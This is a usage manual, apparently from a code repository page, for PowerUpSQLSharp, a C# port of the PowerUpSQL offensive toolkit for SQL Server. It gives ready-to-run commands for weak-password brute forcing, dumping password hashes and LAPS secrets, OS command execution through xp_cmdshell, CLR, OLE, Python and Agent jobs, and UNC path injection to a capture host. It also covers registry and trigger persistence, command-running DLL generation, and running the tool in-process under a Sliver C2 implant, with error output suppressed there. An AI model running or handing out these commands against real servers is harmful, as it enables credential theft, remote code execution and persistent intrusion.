Skip to content

Latest commit

 

History

History
452 lines (337 loc) · 15.8 KB

File metadata and controls

452 lines (337 loc) · 15.8 KB

PowerUpSQLSharp 操作示例手册

覆盖全部 108 个 PowerUpSQL 兼容命令。命令名、参数名与 NetSPI/PowerUpSQL 保持一致。

1. 前置条件

# 构建单文件可执行程序
powershell -NoProfile -ExecutionPolicy Bypass -File .\scripts\release.ps1

# 输出路径
$exe = ".\dist\PowerUpSQLSharp.exe"

以下示例中 $exe 代表 PowerUpSQLSharp.exeSQL01 为示例实例名,请替换为实际环境。


2. 全局选项

选项 说明 示例
--quiet, -q 抑制进度输出 $exe --quiet Get-SQLInstanceLocal
--no-color 禁用 ANSI 颜色 $exe --no-color Get-SQLInstanceLocal
--verbose, -v 详细输出 $exe -v Get-SQLInstanceScanUDP ...
--format table|json 输出格式(默认 table) $exe --format json Get-SQLInstanceLocal
--timeout <秒> 默认超时(默认 30) $exe --timeout 5 Get-SQLConnectionTest ...
--threads <n> 默认线程数(默认 10) $exe --threads 20 Get-SQLConnectionTestThreaded ...
--help, -h 显示帮助 $exe --help / $exe Get-SQLServerInfo --help

用法格式:

PowerUpSQLSharp.exe [全局选项] <命令名> [命令选项]

3. 通用连接参数

多数需要连接 SQL Server 的命令支持以下参数(省略 -Instance 时默认本机):

参数 说明
-Instance 实例名,逗号分隔可多目标,如 SQL01SQL01\SQLEXPRESS
-Username / -Password SQL 身份验证;省略则尝试 Windows 集成认证
-Database 初始数据库(默认 master)
-DAC 使用 Dedicated Admin Connection
-TimeOut 连接超时秒数(覆盖全局 --timeout

示例(Windows 集成认证):

$exe Get-SQLServerInfo -Instance SQL01

示例(SQL 认证):

$exe Get-SQLServerInfo -Instance SQL01 -Username sa -Password "YourPassword"

4. Batch 1 — 实例发现、连接测试、基础信息

4.1 实例发现(无需 SQL 凭据)

命令 说明 操作示例
Get-SQLInstanceLocal 枚举本机注册表中的 SQL 实例 $exe Get-SQLInstanceLocal
Get-SQLInstanceBroadcast 通过 SQL Browser 广播发现局域网实例 $exe Get-SQLInstanceBroadcast
Get-SQLInstanceBroadcast 广播 + UDP 补充探测 $exe Get-SQLInstanceBroadcast -UDPPing -UDPTimeOut 3
Get-SQLInstanceDomain 域内 SPN/实例发现(需域成员机) $exe Get-SQLInstanceDomain
Get-SQLInstanceDomain 指定域账户过滤 $exe Get-SQLInstanceDomain -DomainAccount SQLService -IncludeIP
Get-SQLInstanceFile 从文件读取实例列表 $exe Get-SQLInstanceFile -FilePath scripts\instances.example.txt
Get-SQLInstanceScanUDP 对指定主机 UDP 1434 扫描 $exe Get-SQLInstanceScanUDP -ComputerName 10.0.0.10
Get-SQLInstanceScanUDPThreaded 多主机并行 UDP 扫描 $exe Get-SQLInstanceScanUDPThreaded -ComputerName SQL01,SQL02 -Threads 5

Get-SQLInstanceDomain 常用参数: -Username-Password-DomainController-ComputerName-CheckMgmt-IncludeIP-UDPTimeOut-Threads

Get-SQLInstanceFile 别名: -InstanceFile 等效于 -FilePath

4.2 连接测试

命令 说明 操作示例
Get-SQLConnectionTest 测试单/多实例连接 $exe Get-SQLConnectionTest -Instance SQL01 -Username sa -Password "pwd"
Get-SQLConnectionTestThreaded 并行连接测试 $exe Get-SQLConnectionTestThreaded -Instance SQL01,SQL02,SQL03 -Threads 5
Get-SQLServerLoginDefaultPw 尝试常见默认/弱口令 $exe Get-SQLServerLoginDefaultPw -Instance SQL01

4.3 服务器信息与权限

命令 说明 操作示例
Get-SQLServerInfo 版本、登录、sysadmin、xp_cmdshell 等 $exe Get-SQLServerInfo -Instance SQL01
Get-SQLServerInfoThreaded 多实例并行采集 $exe Get-SQLServerInfoThreaded -Instance SQL01,SQL02
Get-SQLServiceLocal 本机 SQL 相关 Windows 服务 $exe Get-SQLServiceLocal
Get-SQLSysadminCheck 当前登录是否为 sysadmin $exe Get-SQLSysadminCheck -Instance SQL01
Get-SQLLocalAdminCheck 当前 Windows 用户是否本地管理员 $exe Get-SQLLocalAdminCheck
Get-SQLServerConfiguration 服务器配置项 $exe Get-SQLServerConfiguration -Instance SQL01

5. Batch 2 — 侦察枚举与权限导出

5.1 通用侦察参数

Batch 2 侦察类命令共享以下过滤参数(按需选用):

参数 说明
-DatabaseName 限定数据库
-SchemaName 限定架构
-TableName / -ColumnName 限定表/列
-ProcedureName / -ViewName / -TriggerName 限定对象名
-Keyword / -Keywords 关键字过滤
-ColumnNameSearch 列名关键字(采样用)
-SampleSize 采样行数
-NoDefaults 排除系统库
-HasAccess 仅返回有权限的对象
-SysAdminOnly 仅 sysadmin 可见对象
-ShowAll / -AutoExec / -OnlySigned 各类 SP/触发器过滤
-Threads 并行线程(Threaded 变体)

基础示例:

# 枚举数据库
$exe Get-SQLDatabase -Instance SQL01

# 枚举指定库中的表
$exe Get-SQLTable -Instance SQL01 -DatabaseName MyApp -NoDefaults

# 按关键字采样敏感列
$exe Get-SQLColumnSampleData -Instance SQL01 -ColumnNameSearch password,ssn -SampleSize 5

# 执行自定义 T-SQL
$exe Get-SQLQuery -Instance SQL01 -Query "SELECT name FROM sys.databases"

# 并行多实例查询
$exe Get-SQLQueryThreaded -Instance SQL01,SQL02 -Query "SELECT @@VERSION" -Threads 4

5.2 侦察命令一览

命令 说明
Get-SQLDatabase 数据库列表
Get-SQLDatabaseThreaded 并行版
Get-SQLDatabaseUser 数据库用户
Get-SQLDatabaseSchema 架构
Get-SQLDatabaseRole 数据库角色
Get-SQLDatabaseRoleMember 角色成员
Get-SQLDatabasePriv 数据库级权限
Get-SQLTable 用户表
Get-SQLTableTemp tempdb 临时对象
Get-SQLColumn 列信息
Get-SQLColumnSampleData 列数据采样
Get-SQLColumnSampleDataThreaded 并行采样
Get-SQLView 视图
Get-SQLStoredProcedure 存储过程
Get-SQLStoredProcedureCLR CLR 程序集 SP
Get-SQLStoredProcedureSQLi 潜在 SQLi SP
Get-SQLStoredProcedureAutoExec 自动执行 SP
Get-SQLStoredProcedureXp 扩展 SP
Get-SQLTriggerDdl 服务器 DDL 触发器
Get-SQLTriggerDml 数据库 DML 触发器
Get-SQLSession 活动会话
Get-SQLQuery / Get-SQLQueryThreaded 自定义查询
Get-SQLServerLogin 服务器登录
Get-SQLServerPasswordHash 登录密码哈希
Get-SQLServerRole / Get-SQLServerRoleMember 服务器角色
Get-SQLServerPriv 服务器级权限
Get-SQLServerCredential 凭据对象
Get-SQLServerPolicy Policy 策略
Get-SQLServiceAccount 服务账户
Get-SQLAgentJob Agent 作业
Get-SQLAssemblyFile 程序集文件
Get-SQLOleDbProvder OLE DB 提供程序
Get-SQLAuditDatabaseSpec 库级审计规范
Get-SQLAuditServerSpec 服务器审计规范
Get-SQLRecoverPwAutoLogon 尝试恢复自动登录凭据

5.3 批量导出

# 将侦察结果导出为 CSV(仅支持单实例)
$exe Invoke-SQLDumpInfo -Instance SQL01 -OutFolder C:\temp\dump -Username sa -Password "pwd"

Invoke-SQLDumpInfo 参数: -OutFolder(必填,可写目录)、以及通用连接参数。


6. Batch 3 — 安全审计与 OS 命令执行

6.1 审计命令

全量审计(仅单实例):

$exe Invoke-SQLAudit -Instance SQL01 -Username sa -Password "pwd"

单项审计示例:

$exe Invoke-SQLAuditWeakLoginPw -Instance SQL01
$exe Invoke-SQLAuditPrivTrustworthy -Instance SQL01 -NoDefaults
$exe Invoke-SQLAuditPrivImpersonateLogin -Instance SQL01
$exe Invoke-SQLAuditSampleDataByColumn -Instance SQL01 -ColumnNameSearch password,credit
命令 说明
Invoke-SQLAudit 运行全部审计检查
Invoke-SQLAuditDefaultLoginPw 默认实例名弱口令
Invoke-SQLAuditWeakLoginPw 字典弱口令
Invoke-SQLAuditPrivImpersonateLogin IMPERSONATE 权限
Invoke-SQLAuditPrivServerLink 链接服务器静态凭据
Invoke-SQLAuditPrivTrustworthy TRUSTWORTHY 库
Invoke-SQLAuditPrivDbChaining 库所有权链
Invoke-SQLAuditPrivCreateProcedure CREATE PROCEDURE 权限
Invoke-SQLAuditPrivXpDirtree xp_dirtree 执行权限
Invoke-SQLAuditPrivXpFileexit xp_fileexist 执行权限
Invoke-SQLAuditRoleDbDdlAdmin db_ddladmin 角色
Invoke-SQLAuditRoleDbOwner db_owner 角色
Invoke-SQLAuditSampleDataByColumn 敏感列采样
Invoke-SQLAuditSQLiSpExecuteAs EXECUTE AS + 动态 SQL
Invoke-SQLAuditSQLiSpSigned 签名 SP + 动态 SQL
Invoke-SQLAuditPrivAutoExecSp 自动执行 SP 权限

审计过滤参数: -NoDefaults-ColumnNameSearch-SampleSize-DatabaseName 等(与侦察类相同)。

6.2 OS 命令执行

需要 sysadmin 或对应向量已启用。仅在授权测试环境使用。

# xp_cmdshell
$exe Invoke-SQLOSCmd -Instance SQL01 -Command "whoami" -Username sa -Password "pwd"

# 原始输出(不格式化表格)
$exe Invoke-SQLOSCmd -Instance SQL01 -Command "hostname" -RawResults

# 执行后恢复 xp_cmdshell 状态
$exe Invoke-SQLOSCmd -Instance SQL01 -Command "whoami" -RestoreState
命令 向量 示例
Invoke-SQLOSCmd xp_cmdshell -Command "whoami"
Invoke-SQLOSCmdCLR CLR 程序集 -Command "whoami"
Invoke-SQLOSCmdCOle OLE Automation -Command "calc"
Invoke-SQLOSCmdPython Python 脚本 -Command "print(1)"
Invoke-SQLOSCmdR R 脚本 -Command "Sys.getenv('USERNAME')"
Invoke-SQLOSCmdAgentJob SQL Agent 作业 -Command "whoami" -SubSystem CmdExec

OS 命令参数: -Command(必填)、-SubSystem-Threads-Sleep-RawResults-RestoreState


7. Batch 4 — AD、链接服务器、提权、持久化、Fuzz、DLL

7.1 Active Directory 侦察(经 SQL ADSI)

需 SQL Server 可访问 ADSI 链接服务器或等效配置。

# 域用户
$exe Get-SQLDomainUser -Instance SQL01 -FilterUser admin

# 域计算机
$exe Get-SQLDomainComputer -Instance SQL01 -FilterComputer SQL

# LAPS 密码
$exe Get-SQLDomainPasswordsLAPS -Instance SQL01

# 自定义 LDAP 过滤
$exe Get-SQLDomainObject -Instance SQL01 -LdapFilter "(objectClass=user)" -LdapFields "cn,sAMAccountName"
命令 说明
Get-SQLDomainObject 通用域对象
Get-SQLDomainUser 域用户
Get-SQLDomainComputer 域计算机
Get-SQLDomainSubnet 子网
Get-SQLDomainSite 站点
Get-SQLDomainGroup
Get-SQLDomainOu OU
Get-SQLDomainAccountPolicy 账户策略
Get-SQLDomainTrust 域信任
Get-SQLDomainPasswordsLAPS LAPS 密码
Get-SQLDomainController 域控制器
Get-SQLDomainExploitableSystem 可利用系统
Get-SQLDomainGroupMember 组成员

ADSI 参数: -LinkUsername-LinkPassword-UseAdHoc-LdapPath-LdapFilter-LdapFields-TargetDomain-FilterUser-FilterComputer-FilterGroup-UserState-PwLastSet-SuppressVerbose

7.2 直接 LDAP(不经 SQL)

# 查询 SPN
$exe Get-DomainSpn -DomainController DC01.example.com -LdapFilter "(servicePrincipalName=*)"

# 通用域对象
$exe Get-DomainObject -DomainController DC01.example.com -Username "DOMAIN\user" -Password "pwd" -Limit 100

直接 LDAP 参数: -DomainController-Username-Password-LdapFilter-LdapPath-Limit-SearchScope

7.3 链接服务器

# 列出链接服务器
$exe Get-SQLServerLink -Instance SQL01

# 递归爬取链接
$exe Get-SQLServerLinkCrawl -Instance SQL01 -Export

# 在链接上执行查询
$exe Get-SQLServerLinkQuery -Instance SQL01 -Query "SELECT @@VERSION" -DatabaseLinkName LINK01

# UNC 路径注入(强制 SQL 向捕获服务器认证)
$exe Invoke-SQLUncPathInjection -Instance SQL01 -CaptureIp 10.0.0.99 -DomainController DC01.example.com
命令 说明
Get-SQLServerLink 链接服务器列表
Get-SQLServerLinkCrawl 递归枚举链接
Get-SQLServerLinkData 爬取结果中的服务器对象
Get-SQLServerLinkQuery 生成 OPENQUERY 递归语句
Invoke-SQLUncPathInjection UNC 认证捕获

链接参数: -Query-QueryTarget-DatabaseLinkName-Export-Export2-DAC-CaptureIp-TimeOut

7.4 提权与令牌

$exe Invoke-SQLEscalatePriv -Instance SQL01
$exe Invoke-SQLImpersonateService -Instance SQL01
$exe Invoke-SQLImpersonateServiceCmd -Instance SQL01 -Command "whoami"
$exe Invoke-TokenManipulation -Command whoami

7.5 持久化检测/配置

$exe Get-SQLPersistRegRun -Instance SQL01
$exe Get-SQLPersistRegDebugger -Instance SQL01
$exe Get-SQLPersistTriggerDDL -Instance SQL01

7.6 Fuzz 枚举

通过 OBJECT_NAME()DB_NAME()SUSER_NAME() 等按 ID 范围爆破隐藏对象名:

$exe Get-SQLFuzzObjectName -Instance SQL01 -StartId 1 -EndId 1000
$exe Get-SQLFuzzDatabaseName -Instance SQL01 -StartId 1 -EndId 100
$exe Get-SQLFuzzServerLogin -Instance SQL01 -StartId 1 -EndId 500
$exe Get-SQLFuzzDomainAccount -Instance SQL01 -StartId 1000 -EndId 1100 -Domain example.com

Fuzz 参数: -StartId-EndId-Domain-SuppressVerbose

7.7 DLL 生成

# 生成 CLR DLL 及 CREATE ASSEMBLY 脚本
$exe Create-SQLFileCLRDll -ProcedureName cmd_exec -Command "whoami" -OutDir C:\temp

# 修补 XP DLL 模板中的命令缓冲区
$exe Create-SQLFileXpDll -SourceDllPath C:\temp\xp_template.dll -Command "whoami" -OutFile C:\temp\xp_patched.dll

8. 典型工作流

8.1 由发现到连接

$exe Get-SQLInstanceLocal
$exe Get-SQLInstanceBroadcast -UDPPing
$exe Get-SQLConnectionTest -Instance SQL01\SQLEXPRESS -Username sa -Password "pwd"
$exe Get-SQLServerInfo -Instance SQL01\SQLEXPRESS -Username sa -Password "pwd"

8.2 域环境侦察

$exe Get-SQLInstanceDomain -IncludeIP
$exe Get-SQLDomainComputer -Instance SQL01 -FilterComputer SQL
$exe Get-DomainSpn -DomainController DC01.example.com

8.3 安全评估

$exe Invoke-SQLAudit -Instance SQL01 -Username sa -Password "pwd"
$exe Get-SQLServerPasswordHash -Instance SQL01 -Username sa -Password "pwd"
$exe Invoke-SQLAuditSampleDataByColumn -Instance SQL01 -ColumnNameSearch password,secret

8.4 JSON 输出(脚本集成)

$exe --format json Get-SQLInstanceLocal | ConvertFrom-Json
$exe --format json Get-SQLServerInfo -Instance SQL01 | ConvertFrom-Json

9. 退出码

含义
0 成功
2 参数错误
3 连接失败
4 权限不足
5 部分失败

10. 集成测试

Copy-Item .\scripts\test-env.example.ps1 .\scripts\test-env.ps1
# 编辑 test-env.ps1 填入实验环境
.\scripts\Run-IntegrationTests.ps1

详见 Integration-TestPlan.mdAcceptance-Tests.md


11. Sliver C2 内嵌执行

execute-assembly --in-process /path/to/PowerUpSQLSharp.exe Get-SQLInstanceLocal

程序检测到 C2 托管环境时会抑制未处理异常的标准错误输出。


最后更新:2026-07-04